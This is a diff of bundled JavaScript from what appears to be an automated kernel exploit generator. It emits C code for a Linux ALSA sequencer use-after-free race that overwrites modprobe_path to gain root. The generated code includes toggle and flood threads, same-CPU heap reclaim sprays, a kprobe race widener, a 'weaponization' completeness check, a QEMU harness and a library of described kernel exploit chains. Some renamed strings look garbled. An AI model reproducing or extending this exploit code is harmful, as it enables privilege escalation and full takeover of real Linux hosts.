pi.capability = SNDRV_SEQ_PORT_CAP_READ | SNDRV_SEQ_PORT_CAP_SUBS_READ", " | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", " pi.type = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", " pi.midi_channels = 16;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", " g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", " /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", " port (not self) is what frees the snd_rawmidi_runtime on teardown. */", " if (osec_seq_find_hw_port() != 0) return -1;", " /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", " unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", " The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", " running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", " not free the runtime the flood writes through (freed=0, no KASAN UAF). */", ' g_toggle_fd = open("/dev/snd/seq", O_RDWR);', " if (g_toggle_fd < 0) return -1;", " /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", " holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", " EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", " subscription never opens the runtime => no alloc/free => no UAF. The manual", " proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", " internally (that IS the alloc the UAF rides), and the USE is driven by", " writing seq SYSEX events through g_seq_fd (event_process_midi ->", " snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", " return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", " drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", " sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", " Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", " struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", " s.sender = g_self; s.dest = g_hw;", " /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", " g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", " runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", " return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", " : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", " subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", " count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", " This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", " per round) \u2014 that is what gives the parked writer a freshly-freed object to", " land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", " goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_seq_sub(1); /* subscriber 0->1 (allocates runtime) */", " osec_seq_sub(0); /* subscriber 1->0 => FREE the runtime */", " }", " return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", " toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", " freelist before the parked writer derefs it. osec_reclaim_spray() places", " the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", " re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", " used ~10 of these threads; ZERO_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_reclaim_spray(); /* same-CPU reclaim of the just-freed slot */", " }", " return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", " our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", " synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", " snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", " reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", " payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", " INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", " variable-length event written from userspace, snd_seq_write IGNORES", " ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", " IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", " [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", " write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", " approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", " payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", " times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", " the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", " DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", " We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", " event path is exactly what the manual proof does, and it leaves the rawmidi", " output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", " The flood thread uses EXACTLY ONE of them per boot depending on whether an", " escalation target was staged (see osec_flood_thread for the why):", "", " (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", " staged by the driver from the root-tail plan. THIS is the write-what-", " where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", " wrapper) so the exact path bytes land at the target. When staged", " (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", " root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", " a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", " out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", " 2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", " lands the UAF JUST FINE and survives \u2014 the large recon flood was both", " unnecessary and the cause of the ~2.5s GPF.", "", " (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", " Used ONLY as a fallback when NO escalation target is staged (recon-only /", " no-vmlinux case), so the UAF still fires for diagnostics even with no", " write-what-where to deliver.", "", " ZERO_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", " g_buf is sized to the recon payload (the larger of the two), so the short", " escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", " climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0; /* 0 until the driver stages the tail */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", " writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", " FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", " __dump_midi reads substream->runtime is fatal in two sub-windows: the", " dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", " kasan_multi_shot tolerates) and the post-free NULL window (a HARD", " __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", " faults on the non-canonical KASAN shadow and KILLS the exploit process). A", " single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", " how MANY recoverable UAF reads the flood lands before it drifts into the", " fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", " over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", " recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", " ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", " write path (so the writer is exposed to the NULL window far more per write,", " AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", " that itself amplifies fatal landings). The manual's escalation-mode flood is", " PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", " flood is NEITHER needed to fire the UAF NOR survivable.", "", " So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", " ESC payload every iteration (the modprobe_path write-what-where, exactly the", " manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", " rate => many recoverable UAF reads before the fatal window, AND every write", " is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", " payload is staged (recon-only / no-target case) fall back to the large recon", " SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", " target has it) still parks the writer in the dangling window. Pinned to", " g_cpu_flood (a different CPU from free+spray under the manual topology; same", " CPU if ZERO_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", " osec_pin_cpu(g_cpu_flood);", " /* One contiguous buffer: the 32-byte event header followed by the inline", " SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", " the recon payload (the larger of recon/esc) so neither memcpy overflows. */", " unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", " struct snd_seq_event *ev = (struct snd_seq_event *)buf;", " /* The event header is INVARIANT across iterations (only the payload + len", " change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", " it each call, but hoisting it shaves per-write work and keeps the writer's", " kernel-path residency (its exposure to the fatal NULL window) minimal. */", " memset(ev, 0, sizeof(*ev));", " ev->type = SNDRV_SEQ_EVENT_SYSEX; /* 130: variable-length sysex */", " /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", " the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", " ev->flags = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", " ev->queue = SNDRV_SEQ_QUEUE_DIRECT; /* 253: deliver now, no queue */", " ev->source = g_self; /* from our own application port */", " ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", " ev->dest.port = g_self.port; /* subscribers of OUR port = subscribed hw */", " while (g_race_run) {", " /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", " manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", " fall back to the large recon SYSEX so the UAF still fires for diagnostics.", " Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", " int do_esc = (g_esc_len > 0);", " const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", " unsigned long plen = do_esc", " ? g_esc_len", " : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", " if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", " ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", " /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", " memcpy(buf + sizeof(*ev), src, plen);", " /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", " and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", " only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", " that distinguishes 'race mis-timed, write1 never reached' from a real", " free->use landing. */", " if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", " __sync_fetch_and_add(&g_n_write_ok, 1);", " }", " return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
559
559
  return out;
560
560
  }
561
561
  function slabNum(hint) {
@@ -579,11 +579,11 @@ function emitTriggerDriver(params) {
579
579
  " /* Drive the real free/race for this UAF object using the manual proof's",
580
580
  " CONTINUOUS-thread model. All key timings are env-tunable so the rig can",
581
581
  " sweep the coincidence rate WITHOUT re-emitting:",
582
- ` 0SEC_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
583
- ` 0SEC_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
584
- " 0SEC_RACE_PARK_US (read by the widener) \u2014 kprobe mdelay park width",
585
- ` 0SEC_RACE_SECONDS (default ${secsDefault}) \u2014 wall-clock budget per boot`,
586
- " 0SEC_RACE_SAME_CPU (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
582
+ ` ZERO_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
583
+ ` ZERO_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
584
+ " ZERO_RACE_PARK_US (read by the widener) \u2014 kprobe mdelay park width",
585
+ ` ZERO_RACE_SECONDS (default ${secsDefault}) \u2014 wall-clock budget per boot`,
586
+ " ZERO_RACE_SAME_CPU (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
587
587
  " if (osec_seq_setup() == 0) {",
588
588
  " /* Stage the LARGE recon SYSEX payload (F0 .. 7-bit data .. F7), the manual",
589
589
  " proof's SYSEX_LEN=2048 class. This is the FALLBACK flood payload used only",
@@ -594,7 +594,7 @@ function emitTriggerDriver(params) {
594
594
  " than recon \u2014 see osec_flood_thread). The length is env-tunable so the rig",
595
595
  " can sweep it without re-emitting. */",
596
596
  " unsigned long recon_len = (unsigned long)osec_race_envint(",
597
- ' "0SEC_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
597
+ ' "ZERO_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
598
598
  " if (recon_len < 8) recon_len = 8;",
599
599
  " if (recon_len > sizeof(g_recon_payload)) recon_len = sizeof(g_recon_payload);",
600
600
  " g_recon_payload[0] = 0xF0;",
@@ -614,10 +614,10 @@ function emitTriggerDriver(params) {
614
614
  " escalation write delivered). Honest: g_esc_len stays 0. */"
615
615
  ],
616
616
  " /* Resolve the race knobs (env wins, else sane manual-proof defaults). */",
617
- ` int n_flood = osec_race_envint("0SEC_RACE_FLOOD_THREADS", ${floodDefault});`,
618
- ` int n_spray = osec_race_envint("0SEC_RACE_SPRAY_THREADS", ${sprayDefault});`,
619
- ` int run_secs = osec_race_envint("0SEC_RACE_SECONDS", ${secsDefault});`,
620
- ' int same_cpu = osec_race_envint("0SEC_RACE_SAME_CPU", 0);',
617
+ ` int n_flood = osec_race_envint("ZERO_RACE_FLOOD_THREADS", ${floodDefault});`,
618
+ ` int n_spray = osec_race_envint("ZERO_RACE_SPRAY_THREADS", ${sprayDefault});`,
619
+ ` int run_secs = osec_race_envint("ZERO_RACE_SECONDS", ${secsDefault});`,
620
+ ' int same_cpu = osec_race_envint("ZERO_RACE_SAME_CPU", 0);',
621
621
  " if (n_flood < 1) n_flood = 1;",
622
622
  " if (n_spray < 1) n_spray = 1;",
623
623
  " if (run_secs < 1) run_secs = 1;",
@@ -627,7 +627,7 @@ function emitTriggerDriver(params) {
627
627
  " if (same_cpu) g_cpu_flood = g_cpu_free;",
628
628
  " long ncpu = sysconf(_SC_NPROCESSORS_ONLN);",
629
629
  " if (ncpu > 0 && g_cpu_flood >= ncpu) g_cpu_flood = same_cpu ? g_cpu_free : 0;",
630
- " (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads 0SEC_RACE_PARK_US) */",
630
+ " (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads ZERO_RACE_PARK_US) */",
631
631
  " /* BUG#1 FIX: arm the race BEFORE forking the dropped-uid trigger. The child",
632
632
  " inherits g_race_run at fork() time, so if it were still 0 the child's",
633
633
  " while (g_race_run) request_module loop would never run (it would print",
@@ -745,12 +745,12 @@ function assessWeaponization(input) {
745
745
  return { finisher, complete: gaps.length === 0, gaps };
746
746
  }
747
747
  var PARTIAL_MARKER_TAG = "PARTIAL";
748
- var PARTIAL_DEFINE = "0SEC_WEAPONIZATION_PARTIAL";
748
+ var PARTIAL_DEFINE = "ZERO_WEAPONIZATION_PARTIAL";
749
749
  var COMPLETE_DEFINE = "OSEC_WEAPONIZATION_COMPLETE";
750
750
  function artifactVerdictLine(a) {
751
751
  const status = a.complete ? "COMPLETE" : "PARTIAL";
752
752
  const gaps = a.gaps.length ? a.gaps.join(",") : "none";
753
- return `0SEC-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
753
+ return `ZERO-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
754
754
  }
755
755
 
756
756
  // packages/core/dist/kernel/exploit/templates.js
@@ -799,9 +799,9 @@ function markerPreamble(canary) {
799
799
  "/* Print a deterministic, canary-bound success marker the oracle keys on. */",
800
800
  "static void osec_marker(const char *tag, const char *detail) {",
801
801
  " if (detail && detail[0])",
802
- ' printf("0SEC-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
802
+ ' printf("ZERO-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
803
803
  " else",
804
- ' printf("0SEC-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
804
+ ' printf("ZERO-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
805
805
  " fflush(stdout);",
806
806
  "}",
807
807
  "",
@@ -817,7 +817,7 @@ function markerPreamble(canary) {
817
817
  "/* The CPU the free + reclaim spray share (the manual-proof same-CPU freelist",
818
818
  " assumption). Declared here (always present) so osec_reclaim_spray() can",
819
819
  " pin to it; the ALSA continuous-thread driver overwrites it from the resolved",
820
- " 0SEC_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
820
+ " ZERO_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
821
821
  " (no-family) path, which still pins spray + free to the same CPU. */",
822
822
  "int g_cpu_free = 0;",
823
823
  "",
@@ -890,7 +890,7 @@ function emitSetxattrSpray(victimBytes, profile, sprayId) {
890
890
  ` static unsigned char xbuf[${target}];`,
891
891
  " memset(xbuf, 0x41, sizeof(xbuf));",
892
892
  dst !== void 0 ? ` *(unsigned long *)(xbuf + 0x${dst.toString(16)}) = g_target_addr;` : " /* PARTIAL: no dstOffset \u2014 transient spray content unaimed. */",
893
- ' for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0sec", xbuf, sizeof(xbuf), 0);',
893
+ ' for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0", xbuf, sizeof(xbuf), 0);',
894
894
  ` osec_marker("RECLAIM", "${cSafe(sprayId)}");`
895
895
  ];
896
896
  }
@@ -1411,11 +1411,11 @@ function emitWeaponizationC(opts) {
1411
1411
  const completenessDefines = assessment.complete ? [`#define ${COMPLETE_DEFINE} 1`, ""] : [
1412
1412
  `#define ${PARTIAL_DEFINE} 1`,
1413
1413
  `#define OSEC_WEAPONIZATION_GAPS "${assessment.gaps.map(cSafe).join(",")}"`,
1414
- `#warning "0sec: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
1414
+ `#warning "0: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
1415
1415
  ""
1416
1416
  ];
1417
1417
  return [
1418
- `/* 0sec weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
1418
+ `/* 0 weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
1419
1419
  ` * techniques: ${opts.techniques.join(", ")}`,
1420
1420
  ` * target rung: ${opts.targetRung}`,
1421
1421
  opts.objectHint ? ` * victim object: ${cSafe(opts.objectHint)}` : " * victim object: (unknown)",
@@ -1502,7 +1502,7 @@ var PRIMITIVE_LIBRARY = [
1502
1502
  "unlink-www"
1503
1503
  ],
1504
1504
  rootTail: "modprobe_path",
1505
- description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0sec#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
1505
+ description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
1506
1506
  }),
1507
1507
  strategy({
1508
1508
  id: "skmsg-uaf-msgmsg",
@@ -1595,12 +1595,12 @@ function getStrategy(id) {
1595
1595
 
1596
1596
  // packages/core/dist/kernel/exploit/harness.js
1597
1597
  function bootedCacheKey(explicit) {
1598
- const v = explicit ?? process.env["0SEC_KERNEL_QEMU_CACHEKEY"]?.trim();
1598
+ const v = explicit ?? process.env["ZERO_KERNEL_QEMU_CACHEKEY"]?.trim();
1599
1599
  return v && v.length > 0 ? v : void 0;
1600
1600
  }
1601
1601
  function kernelVmArtifactsReady() {
1602
- const kernel = process.env["0SEC_KERNEL_QEMU_KERNEL"]?.trim();
1603
- const disk = process.env["0SEC_KERNEL_QEMU_DISK"]?.trim();
1602
+ const kernel = process.env["ZERO_KERNEL_QEMU_KERNEL"]?.trim();
1603
+ const disk = process.env["ZERO_KERNEL_QEMU_DISK"]?.trim();
1604
1604
  return Boolean(kernel && disk && existsSync(kernel) && existsSync(disk));
1605
1605
  }
1606
1606
  function mintCanary() {
@@ -1661,7 +1661,7 @@ async function runWeaponization(opts) {
1661
1661
  ran: false,
1662
1662
  highestRung: "none",
1663
1663
  attempts: [],
1664
- reason: "kernel-VM artifacts not present (0SEC_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
1664
+ reason: "kernel-VM artifacts not present (ZERO_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
1665
1665
  };
1666
1666
  }
1667
1667
  const strategies = selectStrategies(opts.primitive);
@@ -1,22 +1,22 @@
1
1
  #!/usr/bin/env node
2
- import { createRequire as __0secCreateRequire } from "node:module";
3
- const require = __0secCreateRequire(import.meta.url);
4
- import {
5
- runReproducerInKernelVm
6
- } from "./chunk-SNKTC4BP.js";
2
+ import { createRequire as __0CreateRequire } from "node:module";
3
+ const require = __0CreateRequire(import.meta.url);
7
4
  import {
8
5
  makeSkepticVerifier,
9
6
  runHuntScan,
10
7
  scoreGeometry
11
- } from "./chunk-K26SZ37E.js";
8
+ } from "./chunk-E2UOY5PJ.js";
9
+ import {
10
+ runReproducerInKernelVm
11
+ } from "./chunk-5T6D5BVY.js";
12
12
  import {
13
13
  LlmApiRuntime
14
- } from "./chunk-2SANI5RH.js";
14
+ } from "./chunk-BACXRTQ4.js";
15
15
  import {
16
16
  __commonJS,
17
17
  __require,
18
18
  __toESM
19
- } from "./chunk-IR537GON.js";
19
+ } from "./chunk-VCSFCHAJ.js";
20
20
 
21
21
  // packages/core/dist/stages/tree-sitter-runtime.cjs
22
22
  var require_tree_sitter_runtime = __commonJS({
@@ -3651,7 +3651,7 @@ async function runAssumptionHunt(input) {
3651
3651
  }
3652
3652
  let candidates = plan.candidates;
3653
3653
  if (input.finderTargeting !== false) {
3654
- const excerptDir = input.excerptDir ?? join(tmpdir(), `0sec-assumption-excerpts-${process.pid}`);
3654
+ const excerptDir = input.excerptDir ?? join(tmpdir(), `0-assumption-excerpts-${process.pid}`);
3655
3655
  const focused = buildFocusedCandidates(crossCheck.kept, allContexts, bodies, excerptDir);
3656
3656
  const missed = new Set(focused.missedCallers);
3657
3657
  const fallback = plan.candidates.filter((c) => allContexts.some((ctx) => missed.has(ctx.caller) && ctx.callerFile === c.path));